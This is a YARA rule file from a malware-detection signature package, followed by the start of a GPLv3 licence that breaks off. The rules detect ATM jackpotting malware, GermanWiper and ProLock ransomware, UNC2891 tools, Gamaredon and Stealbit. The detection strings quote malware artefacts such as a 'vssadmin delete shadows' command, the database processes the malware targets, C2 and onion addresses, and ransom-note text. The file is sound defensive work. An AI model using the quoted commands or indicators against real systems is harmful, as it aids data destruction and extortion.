B4BY.588

: / usr / local / maldetect.bk23402 / sigs /
Filename : rfxn.yara
back
/*
 * YARA-Forge YARA Rule Package
 * https://github.com/YARAHQ/yara-forge
 * 
 * Rule Package Information
 * Name: core 
 * Description: Default YARA Rule Package - Core
 * YARA-Forge Version: 0.9.1
 * YARA-QA Commit: 7f1c7f4ad5b5164aa49361bf2a772795202d7e36
 * Minimum Quality: 70
 * Force Include Importance Level: 80
 * Force Exclude Importance Level: 50
 * Minimum Age (in days): 1
 * Minimum Score: 65
 * Creation Date: 2026-03-15
 * Number of Rules: 4997
 * Skipped: 3044 (age), 857 (quality), 968 (score), 2039 (importance)
 */



/*
 * YARA Rule Set
 * Repository Name: R3c0nst
 * Repository: https://github.com/fboldewin/YARA-rules/
 * Retrieval Date: 2026-03-15
 * Git Commit: 54e9e6899b258b72074b2b4db6909257683240c2
 * Number of Rules: 21
 * Skipped: 3 (age), 2 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * NO LICENSE SET
 */
rule R3C0NST_ATM_Malware_XFS_DIRECT : FILE
{
	meta:
		description = "Detects ATM Malware XFS_DIRECT"
		author = "Frank Boldewin (@r3c0nst)"
		id = "d1551c50-d3d2-56fd-a6b7-198d3a26ac72"
		date = "2019-10-18"
		modified = "2019-10-19"
		reference = "https://twitter.com/r3c0nst/status/1185237040583106560"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFS_DIRECT.yar#L1-L37"
		license_url = "N/A"
		logic_hash = "844a334d0eb8516c0ef3780e48e3dbc8e23d41c80bdff10f01407b775e72709e"
		score = 75
		quality = 90
		tags = "FILE"
		hash1 = "3e023949fecd5d06b3dff9e86e6fcac6a9ec6c805b93118db43fb4e84fe43ee0"
		hash2 = "303f2a19b286ca5887df2a334f22b5690dda9f092e677786e2a8879044d8ad11"
		hash3 = "15d50938e51ee414124314095d3a27aa477f40413f83d6a2b2a2007efc5a623a"
		hash4 = "0f9cb4dc1ac2777be30145c3271c95a027758203d0de245ec390037f7325d79d"
		hash5 = "141ae291ddae60fd1b232f543bc9b40f3a083521cd7330c427bb8fc5cdd23966"
		hash6 = "66eb1a8134576db05382109eec7e297149f25a021aba5171d2f99aa49c381456"
		hash7 = "ac20b12beefb2036595780aaf7ec29203e2e09b6237d93cd26eaa811cebd6665"
		hash8 = "901fc474f50eb62edc526593208a7eec4df694e342ffc5b895d1dcec953c6899"
		hash9 = "56548c26741b25b15c27a0de498c5e04c69b0c9250ba35e3a578bc2f05eedd07"
		hash10 = "c89f1d562983398ab2d6dd75e4e30cc0e95eab57cdf48c4a17619dca9ecc0748"
	strings:
		$EncLayer1 = {0F B6 51 FC 30 50 FF 0F B6 11 30 10 0F B6 51 04 30 50 01 0F B6 51 08 30 50 02}
		$EncLayer2 = {B8 4D 5A 00 00 89 33 66 39 06 75 ?? 8b ?? 3c}
		$String1 = "NOW ENTER MASTER KEY" ascii nocase
		$String2 = "Closing app, than delete myself." ascii nocase
		$String3 = "Number of phisical cash units is:" ascii nocase
		$String4 = "COULD NOT ENABLE or DISABLE connection" ascii nocase
		$String5 = "XFS_DIRECT" ascii nocase
		$String6 = "Take the money you snicky mother fucker :)" ascii nocase
		$String7 = "ATM IS TEMPORARILY OUT OF SERVICE!" wide nocase
		$Code1 = {D1 F8 89 44 24 10 DB 44 24 10 DC 0D ?? ?? ?? ?? E8 ?? ?? ?? ?? 35 2F 81 0B 00 A3}
		$Code2 = {8B ?? ?? ?? 68 2E 01 00 00 52 C7 ?? 06 01 00 00 00}
	condition:
		uint16( 0 ) == 0x5A4D and ( filesize < 1500KB and all of ( $EncLayer* ) ) or ( filesize < 300KB and 4 of ( $String* ) and all of ( $Code* ) )
}

rule R3C0NST_Ransomware_Germanwiper : FILE
{
	meta:
		description = "Detects RansomWare GermanWiper in Memory or in unpacked state"
		author = "Frank Boldewin (@r3c0nst)"
		id = "ea71849e-62a1-5b4d-9cf7-0728192361cc"
		date = "2019-08-05"
		modified = "2019-08-05"
		reference = "https://twitter.com/r3c0nst/status/1158326526766657538"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Ransomware.Germanwiper.yar#L1-L25"
		license_url = "N/A"
		logic_hash = "563ad59abd09d9a5fcfcf5ed48dc1e3c48b4bb198c20721d5af531da20d2b0d3"
		score = 75
		quality = 90
		tags = "FILE"
		hash_packed = "41364427dee49bf544dcff61a6899b3b7e59852435e4107931e294079a42de7c"
		hash_unpacked = "708967cad421bb2396017bdd10a42e6799da27e29264f4b5fb095c0e3503e447"
	strings:
		$PurgeCode = {6a 00 8b 47 08 50 6a 00 6a 01 e8 ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? 8b f0 8b d7 8b c3 e8}
		$Mutex1 = "HSDFSD-HFSD-3241-91E7-ASDGSDGHH" nocase ascii
		$Mutex2 = "cFgxTERNWEVhM2V" nocase ascii
		$ProcessKill1 = "oracle.exe" nocase ascii
		$ProcessKill2 = "sqbcoreservice.exe" nocase ascii
		$ProcessKill3 = "isqlplussvc.exe" nocase ascii
		$ProcessKill4 = "mysqld.exe" nocase ascii
		$KillShadowCopies = "vssadmin.exe delete shadows" nocase ascii
		$Domain1 = "cdnjs.cloudflare.com" nocase ascii
		$Domain2 = "expandingdelegation.top" nocase ascii
		$RansomNote = "Entschluesselungs_Anleitung.html" nocase ascii
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 1000KB and 5 of them
}

rule R3C0NST_ATM_Malware_Xfscashncr : FILE
{
	meta:
		description = "Detects ATM Malware XFSCashNCR"
		author = "Frank Boldewin (@r3c0nst)"
		id = "8886cd00-4f4a-5f25-99e0-0806f5e1b4b4"
		date = "2019-08-28"
		modified = "2019-08-28"
		reference = "https://twitter.com/r3c0nst/status/1166773324548063232"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.XFSCashNCR.yar#L1-L21"
		license_url = "N/A"
		logic_hash = "87f197058d4b515cb4829b5e403a96b88eb95cda81e53a9e1484df8c743d8c4a"
		score = 75
		quality = 90
		tags = "FILE"
		hash1 = "d6dff67a6b4423b5721908bdcc668951f33b3c214e318051c96e8c158e8931c0"
	strings:
		$Code1 = {50 8b 4d e8 8b 51 10 52 6a 00 68 2d 01 00 00 8b 45 e8 0f b7 48 1c 51 e8}
		$Code2 = {52 8d 45 d0 50 68 2e 01 00 00 8b 4d e8 0f b7 51 1c 52 e8}
		$StatusMessage1 = "[+] Ingrese Denominacion ISO" nocase ascii
		$StatusMessage2 = "[+] Ingrese numero de billetes" nocase ascii
		$StatusMessage3 = "[!] FAIL.. dispensadores no encontrados" nocase ascii
		$StatusMessage4 = "[!] Unable continue, IMPOSIBLE abrir dispenser" nocase ascii
		$PDB = "C:\\Users\\cyttek\\Downloads\\xfs_cashXP\\Debug\\xfs_cash_ncr.pdb" nocase ascii
		$LogFile = "XfsLog.txt" nocase ascii
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 1500KB and 4 of them
}

rule R3C0NST_UNC2891_Steelcorgi : FILE
{
	meta:
		description = "Detects UNC2891 Steelcorgi packed ELF binaries"
		author = "Frank Boldewin (@r3c0nst)"
		id = "94da7da5-5fc3-5221-97d6-1854aa7b1959"
		date = "2022-03-30"
		modified = "2023-01-05"
		reference = "https://github.com/fboldewin/YARA-rules/"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Steelcorgi.yar#L1-L17"
		license_url = "N/A"
		logic_hash = "4f956b9eaec66bc606ffd0afa2fe9303194e9a8c12d4c3de6ab2334c9856dd99"
		score = 75
		quality = 90
		tags = "FILE"
		hash1 = "0760cd30d18517e87bf9fd8555513423db1cd80730b47f57167219ddbf91f170"
		hash2 = "3560ed07aac67f73ef910d0b928db3c0bb5f106b5daee054666638b6575a89c5"
		hash3 = "5b4bb50055b31dbd897172583c7046dd27cd03e1e3d84f7a23837e8df7943547"
	strings:
		$pattern1 = {70 61 64 00 6C 63 6B 00}
		$pattern2 = {FF 72 FF 6F FF 63 FF 2F FF 73 FF 65 FF 6C FF 66 FF 2F FF 65 FF 78 FF 65}
	condition:
		uint32( 0 ) == 0x464c457f and all of them
}


rule R3C0NST_ATM_Malware_Dispcashbr : FILE
{
	meta:
		description = "Detects ATM Malware DispCashBR"
		author = "Frank Boldewin (@r3c0nst)"
		id = "17d22120-0ca2-5b27-9816-21ab4a6fb20c"
		date = "2020-02-27"
		modified = "2020-08-17"
		reference = "https://twitter.com/r3c0nst/status/1232944566208286720"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.DispCashBR.yar#L1-L21"
		license_url = "N/A"
		logic_hash = "3fb5d62cb779ddc13e9b938290dfa9d2a3353d7969e639a662c1bcaca945de4d"
		score = 75
		quality = 90
		tags = "FILE"
		hash1 = "7cea6510434f2c8f28c9dbada7973449bb1f844cfe589cdc103c9946c2673036"
	strings:
		$String1 = "(*) Dispensando: %lu" ascii nocase
		$String2 = "COMANDO EXECUTADO COM SUCESSO" ascii nocase
		$String3 = "[+] FOI SACADO:  %lu R$ [+]" ascii nocase
		$DbgStr1 = "_Get_Information_cdm_cuinfo" ascii nocase
		$DbgStr2 = "_GET_INFORMATION_SHUTTER" ascii nocase
		$Code1 = {C7 44 24 08 00 00 00 00 C7 44 24 04 2F 01 00 00 89 04 24 E8}
		$Code2 = {C7 44 24 08 00 00 00 00 C7 44 24 04 17 05 00 00 89 04 24 E8}
		$Code3 = {89 4C 24 08 C7 44 24 04 2E 01 00 00 89 04 24 E8}
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 100KB and 2 of ( $String* ) and 1 of ( $DbgStr* ) and all of ( $Code* )
}

rule R3C0NST_ATM_Malware_XFS_ALICE : FILE
{
	meta:
		description = "Detects ATM Malware ALICE"
		author = "Frank Boldewin (@r3c0nst)"
		id = "6132730c-4684-517a-b90d-98ed250e2cba"
		date = "2020-01-09"
		modified = "2020-08-17"
		reference = "https://twitter.com/r3c0nst/status/1215265889844637696"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.ALICE.yar#L1-L22"
		license_url = "N/A"
		logic_hash = "7dca049f024f09c2e778b0693a1015d1fc5a006fc564de914e85231cb5d73da3"
		score = 75
		quality = 90
		tags = "FILE"
		hash1 = "6b2fac8331e4b3e108aa829b297347f686ade233b24d94d881dc4eff81b9eb30"
	strings:
		$String1 = "Project Alice" ascii nocase
		$String2 = "Can't dispense requested amount." ascii nocase
		$String3 = "Selected cassette is unavailable" ascii nocase
		$String4 = "ATM update manager" wide nocase
		$String5 = "Input PIN-code for access" wide nocase
		$String6 = "Supervisor ID" wide nocase
		$Code1 = {50 68 08 07 00 00 6A 00 FF 75 0C FF 75 08 E8}
		$Code2 = {50 6A 00 FF 75 10 FF 75 0C FF 75 08 E8}
		$Code3 = {68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 0B C0 75 29 6A}
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 200KB and 4 of ( $String* ) and all of ( $Code* )
}

rule R3C0NST_Gamaredon_Getimportbyhash : FILE
{
	meta:
		description = "Detects Gamaredon APIHashing"
		author = "Frank Boldewin (@r3c0nst)"
		id = "8f28273e-e8ca-52cb-8dbc-a235598b1975"
		date = "2021-05-12"
		modified = "2021-05-12"
		reference = "https://github.com/fboldewin/YARA-rules/"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/APT.Gamaredon.GetImportByHash.yar#L1-L16"
		license_url = "N/A"
		logic_hash = "b3baebfb745ebc7b9e6df746bfa9622f925b8e8130932e44a148881e7d1fc162"
		score = 75
		quality = 90
		tags = "FILE"
		hash1 = "2d03a301bae0e95a355acd464afc77fde88dd00232aad6c8580b365f97f67a79"
		hash2 = "43d6e56515cca476f7279c3f276bf848da4bc13fd15fad9663b9e044970253e8"
		hash3 = "5c09f6ebb7243994ddc466058d5dc9920a5fced5e843200b1f057bda087b8ba6"
	strings:
		$ParseImgExportDir = { 8B 50 3C 03 D0 8B 52 78 03 D0 8B 4A 1C 03 C8 }
		$djb2Hashing = { 8B 75 08 BA 05 15 00 00 8B C2 C1 E2 05 03 D0 33 DB 8A 1E 03 D3 46 33 DB 8A 1E 85 DB 75 }
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule R3C0NST_UNC2891_Winghook : FILE
{
	meta:
		description = "Detects UNC2891 Winghook Keylogger"
		author = "Frank Boldewin (@r3c0nst)"
		id = "e5955fa0-8204-58e3-88a6-de4b47756ede"
		date = "2022-03-30"
		modified = "2023-01-05"
		reference = "https://github.com/fboldewin/YARA-rules/"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/UNC2891_Winghook.yar#L1-L17"
		license_url = "N/A"
		logic_hash = "b821d0809a91c54d06764f5a04c458ec7190b41823b2fe65d198342715f22050"
		score = 75
		quality = 90
		tags = "FILE"
		hash1 = "d071ee723982cf53e4bce89f3de5a8ef1853457b21bffdae387c4c2bd160a38e"
	strings:
		$code1 = {01 F9 81 E1 FF 00 00 00 41 89 CA [15] 44 01 CF 81 E7 FF 00 00 00}
		$code2 = {83 E2 0F 0F B6 14 1? 32 14 01 88 14 0? 48 83 ?? ?? 48 83 ?? ?? 75}
		$str1 = "fgets" ascii
		$str2 = "read" ascii
	condition:
		uint32( 0 ) == 0x464c457f and filesize < 100KB and 1 of ( $code* ) and all of ( $str* )
}

rule R3C0NST_ATM_Malware_NVISOSPIT : FILE
{
	meta:
		description = "Detects ATM Malware NVISOSPIT"
		author = "Frank Boldewin (@r3c0nst)"
		id = "faf9e78e-9d7a-5c9b-a08e-90b895333d5c"
		date = "2019-05-31"
		modified = "2019-05-31"
		reference = "https://twitter.com/r3c0nst/status/1134403094157115392"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.NVISOSPIT.yar#L3-L18"
		license_url = "N/A"
		hash = "d7ce7b152f0da49e96fa32a9336b35253905d9940b001288d0df55d8f8b3951f"
		logic_hash = "11c1fea74b72a7821ce76a95846a2caff7354e71906496d9530cb44339a49a98"
		score = 75
		quality = 90
		tags = "FILE"
	strings:
		$MalwareName = "NVISOSPIT" ascii fullword
		$DispenseCommand = "Calling WFSExecute() to dispense $%d" fullword ascii
		$Code = {C6 85 7D F9 FF FF 4D C6 85 7E F9 FF FF 4D C6 85 7F F9 FF FF 4B}
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 100KB and 2 of them
}

rule R3C0NST_Prolock_Malware : FILE
{
	meta:
		description = "Detects Prolock malware in encrypted and decrypted mode"
		author = "Frank Boldewin (@r3c0nst)"
		id = "1440b5f5-f1e7-522e-8852-84c326858bb9"
		date = "2020-05-17"
		modified = "2020-05-20"
		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Prolock.Malware.yar"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Prolock.Malware.yar#L1-L20"
		license_url = "N/A"
		logic_hash = "7502011eba1e36c8ec699f1b627c4980cc3009bb43c5aa5a58571330e93211ea"
		score = 75
		quality = 90
		tags = "FILE"
		hash1 = "a6ded68af5a6e5cc8c1adee029347ec72da3b10a439d98f79f4b15801abd7af0"
		hash2 = "dfbd62a3d1b239601e17a5533e5cef53036647901f3fb72be76d92063e279178"
	strings:
		$DecryptionRoutine1 = {31 04 1A 81 3C 1A 90 90 90 90 74}
		$DecryptionRoutine2 = {83 C3 04 81 3C 1A C4 C4 C4 C4 74}
		$DecryptedString1 = "support981723721@protonmail.com" nocase ascii
		$DecryptedString2 = "Your files have been encrypted by ProLock Ransomware" nocase ascii
		$DecryptedString3 = "msaoyrayohnp32tcgwcanhjouetb5k54aekgnwg7dcvtgtecpumrxpqd.onion" nocase ascii
		$CryptoCode = {B8 63 51 E1 B7 31 D2 8D BE ?? ?? ?? ?? B9 63 51 E1 B7 81 C1 B9 79 37 9E}
	condition:
		(( uint16( 0 ) == 0x5A4D ) or ( uint16( 0 ) == 0x4D42 ) ) and filesize < 100KB and all of ( $DecryptionRoutine* ) or ( 1 of ( $DecryptedString* ) and $CryptoCode )
}

rule R3C0NST_Aplib_Decompression : FILE
{
	meta:
		description = "Detects aPLib decompression code often used in malware"
		author = "@r3c0nst"
		id = "f45c73f5-d316-5fea-a8c4-fd930733415f"
		date = "2021-03-24"
		modified = "2021-03-25"
		reference = "https://ibsensoftware.com/files/aPLib-1.1.1.zip"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/aPLib_decompression.yar#L1-L16"
		license_url = "N/A"
		logic_hash = "1150701724fdb487ebe8fb959afd12fff37a8e9137cb94e78e976a2566ec5fa4"
		score = 75
		quality = 90
		tags = "FILE"
	strings:
		$pattern1 = { FC B2 80 31 DB A4 B3 02 }
		$pattern2 = { AC D1 E8 74 ?? 11 C9 EB }
		$pattern3 = { 73 0A 80 FC 05 73 ?? 83 F8 7F 77 }
	condition:
		filesize < 10MB and all of them
}

rule R3C0NST_Stealbit : FILE
{
	meta:
		description = "Detects Stealbit used by Lockbit 2.0 Ransomware Gang"
		author = "Frank Boldewin (@r3c0nst)"
		id = "07b466cb-92b3-51f2-a702-2930bb7038c6"
		date = "2021-08-12"
		modified = "2021-08-12"
		reference = "https://raw.githubusercontent.com/fboldewin/YARA-rules/master/Lockbit2.Stealbit.yar"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/Lockbit2.Stealbit.yar#L1-L15"
		license_url = "N/A"
		logic_hash = "e5f770cc5887f09af0c5550073d51b9e5ffa9dcfa4db6b77bb28643f0f6224fb"
		score = 75
		quality = 90
		tags = "FILE"
		hash1 = "3407f26b3d69f1dfce76782fee1256274cf92f744c65aa1ff2d3eaaaf61b0b1d"
		hash2 = "bd14872dd9fdead89fc074fdc5832caea4ceac02983ec41f814278130b3f943e"
	strings:
		$C2Decryption = {33 C9 8B C1 83 E0 0F 8A 80 ?? ?? ?? ?? 30 81 ?? ?? ?? ?? 41 83 F9 7C 72 E9 E8}
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 100KB and $C2Decryption
}



rule R3C0NST_ATM_Malware_Loup : FILE
{
	meta:
		description = "Detects ATM Malware Loup"
		author = "Frank Boldewin (@r3c0nst)"
		id = "4786362f-b2c5-5b69-8b06-9216561286e6"
		date = "2020-08-17"
		modified = "2020-08-17"
		reference = "https://twitter.com/r3c0nst/status/1295275546780327936"
		source_url = "https://github.com/fboldewin/YARA-rules//blob/54e9e6899b258b72074b2b4db6909257683240c2/ATM.Malware.Loup.yar#L1-L16"
		license_url = "N/A"
		hash = "6c9e9f78963ab3e7acb43826906af22571250dc025f9e7116e0201b805dc1196"
		logic_hash = "39efced4ee3a6147acf5732e4be3a5e9859268b35b79f5e8e87d7c4d77a588c0"
		score = 75
		quality = 90
		tags = "FILE"
	strings:
		$String1 = "C:\\Users\\muham\\source\\repos\\loup\\Debug\\loup.pdb" ascii nocase
		$String2 = "CurrencyDispenser1" ascii nocase
		$Code = {50 68 C0 D4 01 00 8D 4D E8 51 68 2E 01 00 00 0F B7 55 08 52 E8}
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 100KB and all of ( $String* ) and $Code
}


/*
 * YARA Rule Set
 * Repository Name: CAPE
 * Repository: https://github.com/kevoreilly/CAPEv2
 * Retrieval Date: 2026-03-15
 * Git Commit: 539d7ad94675d7caee5eee0816d49af6654efb20
 * Number of Rules: 168
 * Skipped: 0 (age), 38 (quality), 0 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * Cuckoo Sandbox is copyrighted by the Cuckoo Foundation and is licensed under
the following GNU General Public License version 3.

                    GNU GENERAL PUBLIC LICENSE
                       Version 3, 29 June 2007

 Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The GNU General Public License is a free, copyleft license for
software and other kinds of works.

  The licenses for most software and other practical works are designed
to take away your freedom to share and change the works.  By contrast,
the GNU General Public License is intended to guarantee your freedom to
share and change all versions of a program--to make sure it remains free
software for all its users.  We, the Free Software Foundation, use the
GNU General Public License for most of our software; it applies also to
any other work released this way by its authors.  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
them if you wish), that you receive source code or can get it if you
want it, that you can change the software or use pieces of it in new
free programs, and that you know you can do these things.

  To protect your rights, we need to prevent others from denying you
these rights or asking you to surrender the rights.  Therefore, you have
certain responsibilities if you distribute copies of the software, or if
you modify it: responsibilities to respect the freedom of others.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must pass on to the recipients the same
freedoms that you received.  You must make sure that they, too, receive
or can get the source code.  And you must show them these terms so they
know their rights.

  Developers that use the GNU GPL protect your rights with two steps:
(1) assert copyright on the software, and (2) offer you this License
giving you legal permission to copy, distribute and/or modify it.

  For the developers' and authors' protection, the GPL clearly explains
that there is no warranty for this free software.  For both users' and
authors' sake, the GPL requires that modified versions be marked as
changed, so that their problems will not be attributed erroneously to
authors of previous versions.

  Some devices are designed to deny users access to install or run
modified versions of the software inside them, although the manufacturer
can do so.  This is fundamentally incompatible with the aim of
protecting users' freedom to change the software.  The systematic
pattern of such abuse occurs in the area of products for individuals to
use, which is precisely where it is most unacceptable.  Therefore, we
have designed this version of the GPL to prohibit the practice for those
products.  If such problems arise substantially in other domains, we
stand ready to extend this provision to those domains in future versions
of the GPL, as needed to protect the freedom of users.

  Finally, every program is threatened constantly by software patents.
States should not allow patents to restrict development and use of
software on general-purpose computers, but in those that do, we wish to
avoid the special danger that patents applied to a free program could
make it effectively proprietary.  To prevent this, the GPL assures that
patents cannot be used to render the program non-free.

  The precise terms and conditions for copying, distribution and
modification follow.

                       TERMS AND CONDITIONS

  0. Definitions.

  "This License" refers to version 3 of the GNU General Public License.

  "Copyright" also means copyright-like laws that apply to other kinds of
works, such as semiconductor masks.

  "The Program" refers to any copyrightable work licensed under this
License.  Each licensee is addressed as "you".  "Licensees" and
"recipients" may be individuals or organizations.

  To "modify" a work means to copy from or adapt all or part of the work
in a fashion requiring copyright permission, other than the making of an
exact copy.  The resulting work is called a "modified version" of the
earlier work or a work "based on" the earlier work.

  A "covered work" means either the unmodified Program or a work based
on the Program.

  To "propagate" a work means to do anything with it that, without
permission, would make you directly or secondarily liable for
infringement under applicable copyright law, except executing it on a
computer or modifying a private copy.  Propagation includes copying,
distribution (with or without modification), making available to the
public, and in some countries other activities as well.

  To "convey" a work means any kind of propagation that enables other
parties to make or receive copies.  Mere interaction with a user through
a computer network, with no transfer of a copy, is not conveying.

  An interactive user interface displays "Appropriate Legal Notices"
to the extent that it includes a convenient and prominently visible
feature that (1) displays an appropriate copyright notice, and (2)
tells the user that there is no warranty for the work (except to the
extent that warranties are provided), that licensees may convey the
work under this License, and how to view a copy of this License.  If
the interface presents a list of user commands or options, such as a
menu, a prominent item in the list meets this criterion.

  1. Source Code.

  The "source code" for a work means the preferred form of the work
for making modifications to it.  "Object code" means any non-source
form of a work.

  A "Standard Interface" means an interface that either is an official
standard defined by a recognized standards body, or, in the case of
interfaces specified for a particular programming language, one that
is widely used among developers working in that language.

  The "System Libraries" of an executable work include anything, other
than the work as a whole, that (a) is included in the normal form of
packaging a Major Component, but which is not part of that Major
Component, and (b) serves only to enable use of the work with that
Major Component, or to implement a Standard Interface for which an
implementation is available to the public in source code form.  A
"Major Component", in this context, means a major essential component
(kernel, window system, and so on) of the specific operating system
(if any) on which the executable work runs, or a compiler used to
produce the work, or an object code interpreter used to run it.

  The "Corresponding Source" for a work in object code form means all
the source code needed to generate, install, and (for an executable
work) run the object code and to modify the work, including scripts to
control those activities.  However, it does not include the work's
System Libraries, or general-purpose tools or generally available free
programs which are used unmodified in performing those activities but
which are not part of the work.  For example, Corresponding Source
includes interface definition files associated with source files for
the work, and the source code for shared libraries and dynamically
linked subprograms that the work is specifically designed to require,
such as by intimate data communication or control flow between those
subprograms and other parts of the work.

  The Corresponding Source need not include anything that users
can regenerate automatically from other parts of the Corresponding
Source.

  The Corresponding Source for a work in source code form is that
same work.

  2. Basic Permissions.

  All rights granted under this License are granted for the term of
copyright on the Program, and are irrevocable provided the stated
conditions are met.  This License explicitly affirms your unlimited
permission to run the unmodified Program.  The output from running a
covered work is covered by this License only if the output, given its
content, constitutes a covered work.  This License acknowledges your
rights of fair use or other equivalent, as provided by copyright law.

  You may make, run and propagate covered works that you do not
convey, without conditions so long as your license otherwise remains
in force.  You may convey covered works to others for the sole purpose
of having them make modifications exclusively for you, or provide you
with facilities for running those works, provided that you comply with
the terms of this License in conveying all material for which you do
not control copyright.  Those thus making or running the covered works
for you must do so exclusively on your behalf, under your direction
and control, on terms that prohibit them from making any copies of
your copyrighted material outside their relationship with you.

  Conveying under any other circumstances is permitted solely under
the conditions stated below.  Sublicensing is not allowed; section 10
makes it unnecessary.

  3. Protecting Users' Legal Rights From Anti-Circumvention Law.

  No covered work shall be deemed part of an effective technological
measure under any applicable law fulfilling obligations under article
11 of the WIPO copyright treaty adopted on 20 December 1996, or
similar laws prohibiting or restricting circumvention of such
measures.

  When you convey a covered work, you waive any legal power to forbid
circumvention of technological measures to the extent such circumvention
is effected by exercising rights under this License with respect to
the covered work, and you disclaim any intention to limit operation or
modification of the work as a means of enforcing, against the work's
users, your or third parties' legal rights to forbid circumvention of
technological measures.

  4. Conveying Verbatim Copies.

  You may convey verbatim copies of the Program's source code as you
receive it, in any medium, provided that you conspicuously and
appropriately publish on each copy an appropriate copyright notice;
keep intact all notices stating that this License and any
non-permissive terms added in accord with section 7 apply to the code;
keep intact all notices of the absence of any warranty; and give all
recipients a copy of this License along with the Program.

  You may charge any price or no price for each copy that you convey,
and you may offer support or warranty protection for a fee.

  5. Conveying Modified Source Versions.

  You may convey a work based on the Program, or the modifications to
produce it from the Program, in the form of source code under the
terms of section 4, provided that you also meet all of these conditions:

    a) The work must carry prominent notices stating that you modified
    it, and giving a relevant date.

    b) The work must carry prominent notices stating that it is
    released under this License and any conditions added under section
    7.  This requirement modifies the requirement in section 4 to
    "keep intact all notices".

    c) You must license the entire work, as a whole, under this
    License to anyone who comes into possession of a copy.  This
    License will therefore apply, along with any applicable section 7
    additional terms, to the whole of the work, and all its parts,
    regardless of how they are packaged.  This License gives no
    permission to license the work in any other way, but it does not
    invalidate such permission if you have separately received it.

    d) If the work has interactive user interfaces, each must display
    Appropriate Legal Notices; however, if the Program has interactive
    interfaces that do not display Appropriate Legal Notices, your
    work need not make them do so.

  A compilation of a covered work with other separate and independent
works, which are not by their nature extensions of the covered work,
and which are not combined with it such as to form a larger program,
in or on a volume of a storage or distribution medium, is called an
"aggregate" if the compilation and its resulting copyright are not
used to limit the access or legal rights of the compilation's users
beyond what the individual works permit.  Inclusion of a covered work
in an aggregate does not cause this License to apply to the other
parts of the aggregate.

  6. Conveying Non-Source Forms.

  You may convey a covered work in object code form under the terms
of sections 4 and 5, provided that you also convey the
machine-readable Corresponding Source under the terms of this License,
in one of these ways:

    a) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by the
    Corresponding Source fixed on a durable physical medium
    customarily used for software interchange.

    b) Convey the object code in, or embodied in, a physical product
    (including a physical distribution medium), accompanied by a
    written offer, valid for at least three years and valid for as
    long as you offer spare parts or customer support for that product
    model, to give anyone who possesses the object code either (1) a
    copy of the Corresponding Source for all the software in the
    product that is covered by this License, on a durable physical
    medium customarily used for software interchange, for a price no
    more than your reasonable cost of physically performing this
    conveying of source, or (2) access to copy the
    Corresponding Source from a network server at no charge.

    c) Convey individual copies of the object code with a copy of the
    written offer to provide the Corresponding Source.  This
    alternative is allowed only occasionally and noncommercially, and
    only if you received the object code with such an offer, in accord
    with subsection 6b.

    d) Convey the object code by offering access from a designated
    place (gratis or for a charge), and offer equivalent access to the
    Corresponding Source in the same way through the same place at no
    further charge.  You need not require recipients to copy the
    Corresponding Source along with the object code.  If the place to
    copy the object code is a network server, the Corresponding Source
    may be on a different server (operated by you or a third party)
    that supports equivalent copying facilities, provided you maintain
    clear directions next to the object code saying where to find the
    Corresponding Source.  Regardless of what server hosts the
    Corresponding Source, you remain obligated to ensure that it is
    available for as long as needed to satisfy these requirements.

    e) Convey the object code using peer-to-peer transmission, provided
    you inform other peers where the object code and Corresponding
    Source of the work are being offered to the general public at no
    charge under subsection 6d.

  A separable portion of the object code, whose source code is excluded
from the Corresponding Source as a System Library, need not be
included in conveying the object code work.

  A "User Product" is either (1) a "consumer product", which means any
tangible personal property which is normally used for personal, family,
or household purposes, or (2) anything designed or sold for incorporation
into a dwelling.  In determining whether a product is a consumer product,
doubtful cases shall be resolved in favor of coverage.  For a particular
product received by a particular user, "normally used" refers to a
typical or common use of that class of product, regardless of the status
of the particular user or of the way in which the particular user
actually uses, or expects or is expected to use, the product.  A product
is a consumer product regardless of whether the product has substantial
commercial, industrial or non-consumer uses, unless such uses represent
the only significant mode of use of the product.

  "Installation Information" for a User Product means any methods,
procedures, authorization keys, or other information required to install
and execute modified versions of a covered work in that User Product from
a modified version of its Corresponding Source.  The information must
suffice to ensure that the continued functioning of the modified object
code is in no case prevented or interfered with solely because
modification has been made.

  If you convey an object code work under this section in, or with, or
specifically for use in, a User Product, and the conveying occurs as
